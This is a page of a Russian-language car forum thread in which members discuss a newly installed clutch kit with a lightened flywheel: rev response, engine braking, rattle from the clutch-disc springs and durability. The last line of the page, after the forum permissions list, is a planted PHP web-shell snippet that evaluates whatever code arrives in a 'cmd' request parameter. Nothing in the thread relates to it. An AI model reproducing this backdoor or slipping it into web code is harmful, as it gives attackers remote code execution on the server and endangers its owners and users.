+ Ответить в теме
Страница 2 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 11 по 20 из 31

Тема: Установил комплект сцепления с облегченным маховиком


  1. #11
    GTI-Racing S@TURN will become famous soon enough Аватар для S@TURN
    Регистрация
    09.07.2006
    Откуда
    мск
    Машина
    vr6 color concept - sold, а4 2.5tdi куатро!-sold, EOS - недопережитиай.
    Сообщений
    3,787
    ага))) хороший стук наружу вылезет)
    NON LIMITUS HOMICUS DOLBOEBICUS
    (нет предела человеческой глупости)

  2. #12
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    А я так и не понял смысл облегченного маховика...:expect:
    Типа двигатель быстрее раскручивается?
    Но ведь одной из задач маховика является гашение колебаний и
    нагрузок от двигателя к коробке и обратно.
    В общем я по овощному поставил новое штатное сцепление и маховик - единственная вещь
    в ходовой с которой не стал экспериментировать.

  3. #13
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    быстрее крутится и легче набирает обороты:) пока день катаюсь, еще особо не понял:) надо сравнить с Арсеном) ) ) если он меня опять обгонит, значит сниму и поставлю сток обратно:)
    BMW 330D POWERED by Dizelboost :pepper:

  4. #14
    GTI-Racing GIII will become famous soon enough Аватар для GIII
    Регистрация
    04.06.2007
    Откуда
    Москва
    Машина
    skoda octavia scout
    Сообщений
    920
    Цитата Сообщение от КИБАЛЬЧИШЬ Посмотреть сообщение
    ... поставил новое штатное сцепление и маховик ...
    Интересно, долго ли они протянут в сочетании со St III?
    Skoda Octavia Scout APR StII: Intercooler APR, Carbonio Intake APR StI, Exhaust Downpipe APR, Bilstein B6, H&R Swaybars, brakes front S5, brakes rear S3, SRE Performance Clutch Kit, VWR Short Shifter

  5. #15
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Цитата Сообщение от GIII Посмотреть сообщение
    Интересно, долго ли они протянут в сочетании со St III?
    И мне тоже, но пока вроде не буксует...

  6. #16
    GTI-Racing GIII will become famous soon enough Аватар для GIII
    Регистрация
    04.06.2007
    Откуда
    Москва
    Машина
    skoda octavia scout
    Сообщений
    920
    Пока - это, вроде, около месяца. Уже достойный результат! )))
    Skoda Octavia Scout APR StII: Intercooler APR, Carbonio Intake APR StI, Exhaust Downpipe APR, Bilstein B6, H&R Swaybars, brakes front S5, brakes rear S3, SRE Performance Clutch Kit, VWR Short Shifter

  7. #17
    GTI-Racing Solyarkin is on a distinguished road Аватар для Solyarkin
    Регистрация
    29.06.2008
    Откуда
    москва
    Машина
    audi a3 3.2 dsg
    Сообщений
    345
    минус облегченного ещё и в том что на переключениях мотор быстрее просаживается по оборотам, а на турбах это ой как плохо)))
    лязг есть и у меня, при выжимании сцепы он пропадает - но у меня это коробка)

  8. #18
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Цитата Сообщение от Solyarkin Посмотреть сообщение
    минус облегченного ещё и в том что на переключениях мотор быстрее просаживается по оборотам, а на турбах это ой как плохо)))
    лязг есть и у меня, при выжимании сцепы он пропадает - но у меня это коробка)
    так до этого не лязгал на 2хмассовом. кстати на стоковом сцеплении машина проваливалась сильнее. . .щас легче едет
    для меня бОльший минус, это стало труднее тормозить машину коробкой, точнее она перестала вообще двигателем тормозить)))))))
    а в основном все красиво и мне пока нравится:)
    BMW 330D POWERED by Dizelboost :pepper:

  9. #19
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    все нормально, ситуация аналогичная.
    причем одновременно со сцепой и маховиком, ставил блоку и менял все подшипники в коробке.
    передачи нормально на высоких оборотах переключаются?

  10. #20
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    короче все понятно.. лязгают пружинки в диски сцепления(( они немного болтаются вот и лязгают.. когда сцепу выжимаешь диск перестает крутиться и лязг пропадает

+ Ответить в теме
Страница 2 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Похожие темы

  1. Ответов: 4
    Последнее сообщение: 08.06.2015, 18:37
  2. Ответов: 13
    Последнее сообщение: 04.06.2015, 22:35
  3. КОМПЛЕКТ СЦЕПЛЕНИЯ DSG6
    от beathackers в разделе Покупка и продажа запчастей
    Ответов: 2
    Последнее сообщение: 10.03.2015, 21:29
  4. Комплект сцепления Sachs на VAG
    от serega 174 в разделе Покупка и продажа запчастей
    Ответов: 6
    Последнее сообщение: 09.06.2013, 20:24
  5. Комплект сцепления Luk
    от Alex_log в разделе Покупка и продажа запчастей
    Ответов: 7
    Последнее сообщение: 30.09.2011, 10:53

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}